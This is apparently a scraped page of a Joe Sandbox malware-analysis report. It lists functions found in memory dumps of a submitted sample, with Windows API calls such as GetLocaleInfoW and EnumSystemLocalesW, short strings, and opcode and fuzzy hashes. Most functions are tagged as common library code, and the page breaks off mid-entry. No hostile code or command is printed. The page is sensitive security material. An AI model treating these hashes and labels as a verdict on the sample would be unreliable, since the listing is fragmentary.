Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 258e04d024308f171ac57c8b24aa6887184ff6dfbdab949e4a084a17ed4ecae3
Instruction ID: 14066e56e9343d24b3b46e64ba85549cc4e3f5576dd7a8018d774dce3c831a7a
Opcode Fuzzy Hash: 258e04d024308f171ac57c8b24aa6887184ff6dfbdab949e4a084a17ed4ecae3
Instruction Fuzzy Hash: 363277706083418BE714CF18C890B2EBBE6BBC9314F188AAEF5D59B391D775D905CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00FE3653 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00FE364E,?,?,00000008,?,?,00FF15F5,00000000), ref: 00FE3880

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 3657cd5a9c4f39cea05e564c142df9cb2649108a8fddc6cb5ddb873cdf86a82f
Instruction ID: ef543bb8078d0c5db4336721b05d4425626246b8986c97131d92fd6ea8e64ba8
Opcode Fuzzy Hash: 3657cd5a9c4f39cea05e564c142df9cb2649108a8fddc6cb5ddb873cdf86a82f
Instruction Fuzzy Hash: 5BB18D76610648DFD718CF29C48EB657BE1FF05364F258658E89ACF2A1C335EA82DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00FD64BC Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00FD64D2

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 149ec19c52e862760b93606ca24d5b8729b760d583484a95c2d5316f22afb8e2
Instruction ID: 58eb8a3e72ec09c8410fa3e37aa1104474d6a294cd043f86269f18be1255e75f
Opcode Fuzzy Hash: 149ec19c52e862760b93606ca24d5b8729b760d583484a95c2d5316f22afb8e2
Instruction Fuzzy Hash: D55160B1D012198FEB14CF68E8857AABBF9FB44314F18852AD405EB3A8D774D940EF51

Uniqueness

Uniqueness Score: -1.00%

Function 0101FCB8 Relevance: 1.6, Strings: 1, Instructions: 378COMMON

Download Yara Rule

Strings

onqp, xrefs: 0101FD30

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 392c672f0f5f843473e563fb61777e150b162c9c1a084cb5cd8fb84007401180
Instruction ID: b59d6efea4c23021bcd720f0cb7e1131572a00fbba50923feede9af16a839401
Opcode Fuzzy Hash: 392c672f0f5f843473e563fb61777e150b162c9c1a084cb5cd8fb84007401180
Instruction Fuzzy Hash: 24C1C0B16083128BE714CF18C89076BBBE2EF95724F588A2DF5D597385D379D809CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00FDBE6D Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00FDBFFB

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: a1a29ef08012ab33962dd12958d4a2b2c65bae06b10c20ba0cdb5aecddd01d6a
Instruction ID: 51cf2392e2ce3768c2ba96428b0197487b07b78da25ae7a23cf04cff2c23c688
Opcode Fuzzy Hash: a1a29ef08012ab33962dd12958d4a2b2c65bae06b10c20ba0cdb5aecddd01d6a
Instruction Fuzzy Hash: 30C1DF7190064ACFCB24CF68C894ABEB7A3AF05320F2D461BD556D7392C735AD46EB81

Uniqueness

Uniqueness Score: -1.00%

Function 00FEC0C0 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00FE2A40: GetLastError.KERNEL32(?,00000008,00FE879F,00000000,00FDA890), ref: 00FE2A44
Part of subcall function 00FE2A40: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00FE2AE6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FEC114

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 87d36a96e8aa07fcb9c16c62c04dfd233ced83dceea5c40622b461d85e62b735
Instruction ID: 125a065e1e5f205689a8a4070f27c0b4c5b9faacf20adb31ba3ea5dc5e8cc6ac
Opcode Fuzzy Hash: 87d36a96e8aa07fcb9c16c62c04dfd233ced83dceea5c40622b461d85e62b735
Instruction Fuzzy Hash: 08219572A11286ABDF289A26DC41B7B77ACEF45714F10007AFD06D6143EB7DED02A790

Uniqueness

Uniqueness Score: -1.00%

Function 00FEBD47 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FE2A40: GetLastError.KERNEL32(?,00000008,00FE879F,00000000,00FDA890), ref: 00FE2A44
Part of subcall function 00FE2A40: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00FE2AE6

EnumSystemLocalesW.KERNEL32(00FEBE6D,00000001,00000000,?,-00000050,?,00FEC49E,00000000,?,?,?,00000055,?), ref: 00FEBDB9

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9dab257a0f6574d5896276d8effdfeef17a901917c8161bb73d375820d6d19dc
Instruction ID: 020a5c4ceb9adf637ff73097f1d0ae082b0987e6fcd249d1874f3eb033e34be4
Opcode Fuzzy Hash: 9dab257a0f6574d5896276d8effdfeef17a901917c8161bb73d375820d6d19dc
Instruction Fuzzy Hash: CA11E5376007055FDB289F3AC8A16BBBB91FF80768B18453CE98687B40E775A942D740

Uniqueness

Uniqueness Score: -1.00%

Function 0103D5A8 Relevance: 1.6, Strings: 1, Instructions: 308COMMON

Download Yara Rule

Strings

7452, xrefs: 0103D610

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: f991de6c88c0eddb8f88ed6c652c9c24a37a0ba3baf89028ecb4da3c24b50ce6
Instruction ID: 7c9f9cab6b79832d364e6e8a4921915c55e596df87b6bea0b69c66f200387eba
Opcode Fuzzy Hash: f991de6c88c0eddb8f88ed6c652c9c24a37a0ba3baf89028ecb4da3c24b50ce6
Instruction Fuzzy Hash: FDA1ADB56043028BD724CF68C490B6BBBE6FFC9354F54895CE9C99B260E730E845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FEC2EF Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00FE2A40: GetLastError.KERNEL32(?,00000008,00FE879F,00000000,00FDA890), ref: 00FE2A44
Part of subcall function 00FE2A40: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00FE2AE6

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00FEC089,00000000,00000000,?), ref: 00FEC31B

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 4aabfba9d70904f857cd113c8a92e9c8e6ee425bab59ab7c371a1e05e0a73ec7
Instruction ID: 46011731c7622bc7c374a7e4036bca7d00bd4ab8a67cef6e5af0bf19a3162914
Opcode Fuzzy Hash: 4aabfba9d70904f857cd113c8a92e9c8e6ee425bab59ab7c371a1e05e0a73ec7
Instruction Fuzzy Hash: CBF0F932A00151AFDF385B668C057BB7768FB40764F188438FC06A3140EA74FD02E6D0

Uniqueness

Uniqueness Score: -1.00%

Function 00FEBDE2 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FE2A40: GetLastError.KERNEL32(?,00000008,00FE879F,00000000,00FDA890), ref: 00FE2A44
Part of subcall function 00FE2A40: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00FE2AE6

EnumSystemLocalesW.KERNEL32(00FEC0C0,00000001,?,?,-00000050,?,00FEC462,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00FEBE2C

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 75d839166d2f1294aff81cf089ada1fefab970957d33f1c0522f6d4c8c9511f6
Instruction ID: aab2a258d98c5e1c70fffa6888d3c30fa4c82f50ed7864706d84279e4214e3b6
Opcode Fuzzy Hash: 75d839166d2f1294aff81cf089ada1fefab970957d33f1c0522f6d4c8c9511f6
Instruction Fuzzy Hash: 50F0F6362003445FDB245F369C81ABB7B95FF80768B05843CFA458B680D7B59C02E750

Uniqueness

Uniqueness Score: -1.00%

Function 00FE5022 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 00FDCD04: EnterCriticalSection.KERNEL32(?,?,00FE2718,?,00FFC338,00000008,00FE28DC,?,?,?), ref: 00FDCD13

EnumSystemLocalesW.KERNEL32(Function_00015015,00000001,00FFC3F8,0000000C,00FE5444,?), ref: 00FE505A

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: bf5048eab482b54bf5d4329b478a1517674b1008097a0c07142169f1b982233f
Instruction ID: 2a43c137f413adf77a0fee76a594cda8bbd3a7d4e096fed7cce0f307c9df65f9
Opcode Fuzzy Hash: bf5048eab482b54bf5d4329b478a1517674b1008097a0c07142169f1b982233f
Instruction Fuzzy Hash: 2EF03732A10209DFDB00DF98E842BA977A1FB45720F00852AF511EB3A0DB799904EB81

Uniqueness

Uniqueness Score: -1.00%

Function 00FEBCFC Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FE2A40: GetLastError.KERNEL32(?,00000008,00FE879F,00000000,00FDA890), ref: 00FE2A44
Part of subcall function 00FE2A40: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00FE2AE6

EnumSystemLocalesW.KERNEL32(00FEBC55,00000001,?,?,?,00FEC4C0,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00FEBD33

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 563222cb7f047c23c5914fdb6cd316c805a192f33ffe9baff0927349a6c50799
Instruction ID: 881e76046d477ab738e8d399240d8510a173ad0898887fee7d1b01d9f169b7ea
Opcode Fuzzy Hash: 563222cb7f047c23c5914fdb6cd316c805a192f33ffe9baff0927349a6c50799
Instruction Fuzzy Hash: 3EF0553670024557CB249F3ACC0576BBF94EFC1720F064068FA0A8B241CBB6D842E790

Uniqueness

Uniqueness Score: -1.00%

Function 00FE5548 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00FE15B4,?,20001004,00000000,00000002,?,?,00FE0BB6), ref: 00FE557C

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 00a3709959ebe53791a7bfee58b434ce4dbeff9eb9006fcf009391828f76507a
Instruction ID: be0815554d30c21f8ed4220aa3a021551a982546c2efbf43992cc33f2a897125
Opcode Fuzzy Hash: 00a3709959ebe53791a7bfee58b434ce4dbeff9eb9006fcf009391828f76507a
Instruction Fuzzy Hash: 72E04F32901A68BBCF122F62DC08BAE7F1AEF44B64F158010FC0565221CB368E20BA94

Uniqueness

Uniqueness Score: -1.00%

Function 0103D288 Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

7452, xrefs: 0103D2F0

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 1809e20e3f23662281c548d50d04dfc6ab585ca6f3d14599bfd9da46ae832b44
Instruction ID: b03b1cbe81e7b50d9b46ba8ae6fd0ebc51f2cecd5042eb30bdf03df646d72a04
Opcode Fuzzy Hash: 1809e20e3f23662281c548d50d04dfc6ab585ca6f3d14599bfd9da46ae832b44
Instruction Fuzzy Hash: 6191AA72A043128BD714CF58C490BABB7E5FFC9314F95895CE9C66B290C730E815CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FD6939 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00006945,00FD5F70), ref: 00FD693E

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: dc8b1460647d9d2b5b3c1cb2a3b7c86705a4bcb09e677bf440c66309802e557b
Instruction ID: cf945c7b979ef3e399ec0ae3700de67f50c7c550bde259f0f7b08cf77aa98b28
Opcode Fuzzy Hash: dc8b1460647d9d2b5b3c1cb2a3b7c86705a4bcb09e677bf440c66309802e557b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 01037E38 Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

onqp, xrefs: 01037EC0

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 39575cc2b615a24154d1ec98806dbbd23d7e6a9b8f555456a4cc557337b3cbcf
Instruction ID: f041cf2a0d7bb195b1f34cefc16406564c507e8daf2064f9236c689124336cf0
Opcode Fuzzy Hash: 39575cc2b615a24154d1ec98806dbbd23d7e6a9b8f555456a4cc557337b3cbcf
Instruction Fuzzy Hash: 4551ABB12083018BE718CF08C4A472FBBE6FBC4714F288A5DF4961B292D775D845CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0103CCE8 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

7452, xrefs: 0103CD50

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: b9ef0a89410306efc5c2d7b9def9ae958c6701a9207dc64f3d3e779a784eb048
Instruction ID: ac32fba83671ca987b2dec04c9f004e7adc8f717531a04f9e6e0f0967f28763b
Opcode Fuzzy Hash: b9ef0a89410306efc5c2d7b9def9ae958c6701a9207dc64f3d3e779a784eb048
Instruction Fuzzy Hash: 1851C9762083019BF314CF18CA94B6BBBE6EBC5344F14891DE5C5AB290D374E945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0103CF08 Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

7452, xrefs: 0103CF70

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 7452
API String ID: 0-87867774
Opcode ID: 29de46730035695dba39fe0c5faf9dc6f01efe950b5727a8a298d0f059a49c0e
Instruction ID: d7aee431e484d8d18f2677b6976f4e7f892a5219f920642fb8c4b0781953647e
Opcode Fuzzy Hash: 29de46730035695dba39fe0c5faf9dc6f01efe950b5727a8a298d0f059a49c0e
Instruction Fuzzy Hash: F051BCB5204301ABE314CF48C980B6BBBF6EBC5744F54891CF5C55B290C375E949CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00FEC620 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00FEC620

Memory Dump Source

